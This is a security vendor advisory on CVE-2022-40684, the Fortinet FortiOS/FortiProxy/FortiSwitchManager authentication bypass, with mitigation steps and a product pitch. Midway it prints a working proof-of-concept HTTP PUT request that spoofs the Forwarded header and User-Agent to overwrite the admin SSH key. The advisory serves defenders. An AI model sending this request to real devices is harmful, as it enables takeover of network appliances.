.A newly disclosed flaw in FortiOS, FortiProxy, and FortiSwitchManager has reportedly been exploited in the wild. It enables an attacker to bypass authentication and sign in as an administrator on affected systems.
Picus Labs has updated the Picus Threat Library with attacks that exploit the CVE-2022-40684 vulnerability affecting FortiOS, FortiProxy, and FortiSwitchManager products. We also updated the Picus Mitigation Library with prevention signatures of network security controls.
Simulate Vulnerability Exploitation Attacks with 14-Day Free Trial of Picus Platform
FortiLab Guard Labs has confirmed that the vulnerability affects the following Fortinet FortiOS, FortiProxy, and FortiSwitchManager products.
The CVE-2022-40684 vulnerability allows adversaries to bypass authentication and login into the vulnerable systems as an administrator in FortiOS / FortiProxy / FortiSwitchManager products.
Having admin user rights, adversaries can
The CVSSv3 score of the vulnerability is 9.6 Critical.
Below, you can see an example Proof of Concept (PoC) that abuses the authentication bypass vulnerability to set an SSH key for the specified user [3].
1. Adversaries can exploit this vulnerability with any HTTP method such as GET, POST, PUT, DELETE, etc. In the following example, the attacker sends an HTTP PUT request to the API.
2. Through the “Forwarded header”, the attacker is able to set the client_ip to “127.0.0.1”. This allows the attacker to perform an authentication bypass as the “trusted access” authentication check verifies that the client_ip is “127.0.0.1” and User-Agent is “Report Runner”, which are directly controlled by the attacker.
3. Being allowed to send a PUT request to the API, the attacker can modify the admin users’ SSH keys to enable themselves to login to the target system.
Example
|
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for="[127.0.0.1]:8000″;by="[127.0.0.1]:9000″; Content-Length: 612 { "ssh-public-key1": "\"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= dev@devs-MacBook-Pro.local\"" } |
In their PSIRT Advisories blog, the FortiGuard Labs have given some mitigation suggestions and recommended performing the following upgrades according to the vulnerable products [2].
For FortiOS:
If applying patch is not possible for some other reasons, apply the following mitigation suggestions.
|
config firewall address |
|
config firewall addrgrp |
|
config firewall local-in-policy |
|
config firewall service custom |
Use these objects instead of "HTTPS HTTP "in the local-in policy 1 and 2 above.
For FortiProxy:
If applying patch is not possible for some other reasons, apply the following mitigation suggestions.
|
config system interface |
For FortiSwitchManager:
We also strongly suggest simulating FortiOS / FortiProxy / FortiSwitchManager CVE-2022-40684 authentication bypass on administrative interface vulnerability exploitation attack to assess the effectiveness of your security controls using the Picus Complete Security Control Validation Platform. You can test your defenses against the CVE-2022-40684 vulnerability exploitation attacks and assess your security posture against the exploitation of hundreds of commonly exploited vulnerabilities within minutes with a 14-day free trial of the Picus Platform.
Picus Threat Library includes the following threat for CVE-2022-40684 vulnerability:
|
Threat ID |
Threat Name |
|
85726 |
FortiOS Web Attack Campaign (Web Application) |
[1] J. Horseman, “FortiOS, FortiProxy, and FortiSwitchManager Authentication Bypass IOCs (CVE-2022-40684),” Horizon3.ai, Oct. 11, 2022. [Online]. Available: https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/. [Accessed: Oct. 18, 2022]
[2] “PSIRT Advisories,” FortiGuard. [Online]. Available: https://fortiguard.com/psirt/FG-IR-22-377. [Accessed: Oct. 18, 2022]
[3] “GitHub - horizon3ai/CVE-2022-40684: A proof of concept exploit for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager,” GitHub. [Online]. Available: https://github.com/horizon3ai/CVE-2022-40684. [Accessed: Oct. 18, 2022]